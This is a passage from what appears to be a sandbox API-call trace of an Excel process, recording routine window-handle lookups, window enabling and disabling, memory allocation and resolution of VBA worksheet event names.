(hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0121.831] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0121.831] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0121.831] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0121.831] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0121.831] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0121.831] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0121.831] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0121.831] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0121.831] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0121.831] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0121.831] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0121.831] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0121.831] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0121.831] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0121.831] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0121.831] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0121.831] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbd14f20 [0121.832] IMalloc:Free (This=0x7feffc15380, pv=0xbd14f20) [0122.212] GetAsyncKeyState (vKey=27) returned 0 [0122.212] GetCurrentThreadId () returned 0x8fc [0122.212] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0122.212] GetDesktopWindow () returned 0x10010 [0122.213] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0122.213] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0122.213] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0122.213] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0122.213] GetWindowLongPtrA (hWnd=0x9021c, nIndex=-6) returned 0x7feef2c0000 [0122.214] GetWindowLongPtrA (hWnd=0x9021c, nIndex=-6) returned 0x7feef2c0000 [0122.214] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0122.214] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0122.214] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0122.214] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0122.214] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0122.214] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0122.214] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0122.214] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0122.214] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0122.214] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0122.214] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0122.214] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0122.214] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0122.214] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0122.214] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0122.214] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0122.214] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0122.214] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0122.214] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0122.214] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0122.214] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0122.214] IsWindowEnabled (hWnd=0x202b0) returned 0 [0122.215] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0122.215] RemovePropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0122.215] EnableWindow (hWnd=0x202b0, bEnable=1) returned 1 [0122.215] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0122.215] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0122.215] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0122.215] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0122.215] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0122.215] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0122.215] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0122.215] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0122.215] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0122.215] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0122.215] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0122.215] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0122.215] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0122.215] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0122.215] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0122.215] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0122.215] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0122.215] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0122.216] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x7174c70 [0122.216] IMalloc:Free (This=0x7feffc15380, pv=0x7174c70) [0125.392] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1543, refPtrFlags=0x24e910, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x6800000284 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x6800000284) returned 0x0 [0125.392] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x24e960, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16 [0125.392] _mbscpy_s (in: _Dst=0x24e7b0, _DstSizeInBytes=0x1a, _Src=0x6ca2e3a | out: _Dst=0x24e7b0) returned 0x0 [0125.392] _mbscpy_s (in: _Dst=0x24e7ba, _DstSizeInBytes=0x10, _Src=0x24e960 | out: _Dst=0x24e7ba) returned 0x0 [0125.392] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0125.393] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1537, refPtrFlags=0x24dcb0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0125.393] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x24dd00, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18 [0125.393] _mbscpy_s (in: _Dst=0x24db50, _DstSizeInBytes=0x1c, _Src=0x6ca2e3a | out: _Dst=0x24db50) returned 0x0 [0125.393] _mbscpy_s (in: _Dst=0x24db5a, _DstSizeInBytes=0x12, _Src=0x24dd00 | out: _Dst=0x24db5a) returned 0x0 [0125.393] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0125.517] GetCurrentThreadId () returned 0x8fc [0125.517] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0125.517] GetDesktopWindow () returned 0x10010 [0125.517] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0125.517] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0125.517] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0125.517] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0125.517] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0125.517] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0125.517] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0125.517] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0125.517] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0125.517] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0125.517] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0125.517] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0125.517] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0125.517] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0125.517] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0125.517] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0125.518] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0125.518] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0125.518] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0125.518] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0125.518] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0125.518] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0125.518] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0125.518] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0125.518] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0125.518] IsWindowEnabled (hWnd=0x202b0) returned 1 [0125.518] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x0 [0125.518] SetPropA (hWnd=0x202b0, lpString=0xc137, hData=0x1) returned 1 [0125.518] EnableWindow (hWnd=0x202b0, bEnable=0) returned 0 [0125.518] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0125.518] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0125.518] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0125.518] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0125.518] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0125.518] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0125.518] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0125.518] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0125.518] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0125.518] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0125.519] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0125.519] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0125.519] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0125.519] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0125.519] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0125.519] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0125.519] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0125.519] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0125.519] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbb91320 [0125.519] IMalloc:Free (This=0x7feffc15380, pv=0xbb91320) [0125.824] GetAsyncKeyState (vKey=27) returned 0 [0125.824] GetCurrentThreadId () returned 0x8fc [0125.824] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0125.825] GetDesktopWindow () returned 0x10010 [0125.825] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0125.825] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0125.825] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0125.825] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0125.825] GetWindowLongPtrA (hWnd=0x902c6, nIndex=-6) returned 0x7feef2c0000 [0125.825] GetWindowLongPtrA (hWnd=0x902c6, nIndex=-6) returned 0x7feef2c0000 [0125.825] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0125.825] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0125.825] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0125.825] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0125.825] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0125.825] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0125.826] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0125.826] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0125.826] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0125.826] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0125.826] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0125.826] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0125.826] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0125.826] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0125.826] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0125.826] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0125.826] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0125.826] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0125.826] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0125.826] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0125.826] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0125.827] IsWindowEnabled (hWnd=0x202b0) returned 0 [0125.827] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0125.827] RemovePropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0125.827] EnableWindow (hWnd=0x202b0, bEnable=1) returned 1 [0125.827] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0125.827] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0125.827] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0125.827] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0125.827] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0125.827] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0125.827] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0125.827] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0125.828] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0125.828] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0125.828] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0125.828] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0125.828] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0125.828] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0125.828] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0125.828] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0125.828] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0125.828] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0125.828] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbb91320 [0125.829] IMalloc:Free (This=0x7feffc15380, pv=0xbb91320) [0128.953] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1543, refPtrFlags=0x24e910, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x680000035b | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x680000035b) returned 0x0 [0128.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x24e960, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16 [0128.953] _mbscpy_s (in: _Dst=0x24e7b0, _DstSizeInBytes=0x1a, _Src=0x6ca2e3a | out: _Dst=0x24e7b0) returned 0x0 [0128.953] _mbscpy_s (in: _Dst=0x24e7ba, _DstSizeInBytes=0x10, _Src=0x24e960 | out: _Dst=0x24e7ba) returned 0x0 [0128.953] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0128.954] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1537, refPtrFlags=0x24dcb0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0128.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x24dd00, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18 [0128.955] _mbscpy_s (in: _Dst=0x24db50, _DstSizeInBytes=0x1c, _Src=0x6ca2e3a | out: _Dst=0x24db50) returned 0x0 [0128.955] _mbscpy_s (in: _Dst=0x24db5a, _DstSizeInBytes=0x12, _Src=0x24dd00 | out: _Dst=0x24db5a) returned 0x0 [0128.955] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0128.972] GetCurrentThreadId () returned 0x8fc [0128.972] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0128.972] GetDesktopWindow () returned 0x10010 [0128.972] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0128.972] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0128.972] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0128.972] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0128.972] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0128.972] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0128.972] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0128.972] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0128.972] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0128.972] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0128.972] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0128.972] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0128.973] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0128.973] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0128.973] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0128.973] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0128.973] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0128.973] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0128.973] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0128.973] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0128.973] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0128.973] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0128.973] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0128.973] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0128.973] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0128.973] IsWindowEnabled (hWnd=0x202b0) returned 1 [0128.973] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x0 [0128.973] SetPropA (hWnd=0x202b0, lpString=0xc137, hData=0x1) returned 1 [0128.973] EnableWindow (hWnd=0x202b0, bEnable=0) returned 0 [0128.973] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0128.973] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0128.973] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0128.973] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0128.973] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0128.973] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0128.974] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0128.974] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0128.974] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0128.974] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0128.974] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0128.974] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0128.974] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0128.974] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0128.974] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0128.974] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0128.974] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0128.974] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0128.974] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbb90380 [0128.974] IMalloc:Free (This=0x7feffc15380, pv=0xbb90380) [0129.273] GetAsyncKeyState (vKey=27) returned 0 [0129.273] GetCurrentThreadId () returned 0x8fc [0129.273] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0129.273] GetDesktopWindow () returned 0x10010 [0129.274] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0129.274] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0129.274] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0129.274] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0129.274] GetWindowLongPtrA (hWnd=0x502e6, nIndex=-6) returned 0x7feef2c0000 [0129.274] GetWindowLongPtrA (hWnd=0x502e6, nIndex=-6) returned 0x7feef2c0000 [0129.274] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0129.274] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0129.274] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0129.274] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0129.274] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0129.274] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0129.274] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0129.274] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0129.274] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0129.274] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0129.274] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0129.274] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0129.274] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0129.274] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0129.275] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0129.275] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0129.275] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0129.275] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0129.275] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0129.275] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0129.275] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0129.275] IsWindowEnabled (hWnd=0x202b0) returned 0 [0129.275] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0129.275] RemovePropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0129.275] EnableWindow (hWnd=0x202b0, bEnable=1) returned 1 [0129.275] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0129.275] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0129.275] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0129.275] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0129.275] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0129.275] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0129.275] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0129.275] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0129.275] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0129.275] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0129.275] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0129.275] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0129.276] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0129.276] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0129.276] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0129.276] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0129.276] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0129.276] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0129.276] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x24aced0 [0129.276] IMalloc:Free (This=0x7feffc15380, pv=0x24aced0) [0132.731] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1543, refPtrFlags=0x24e910, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x82000000d6 | out: pbstrName=0x0, pBstrDocString=0x0, 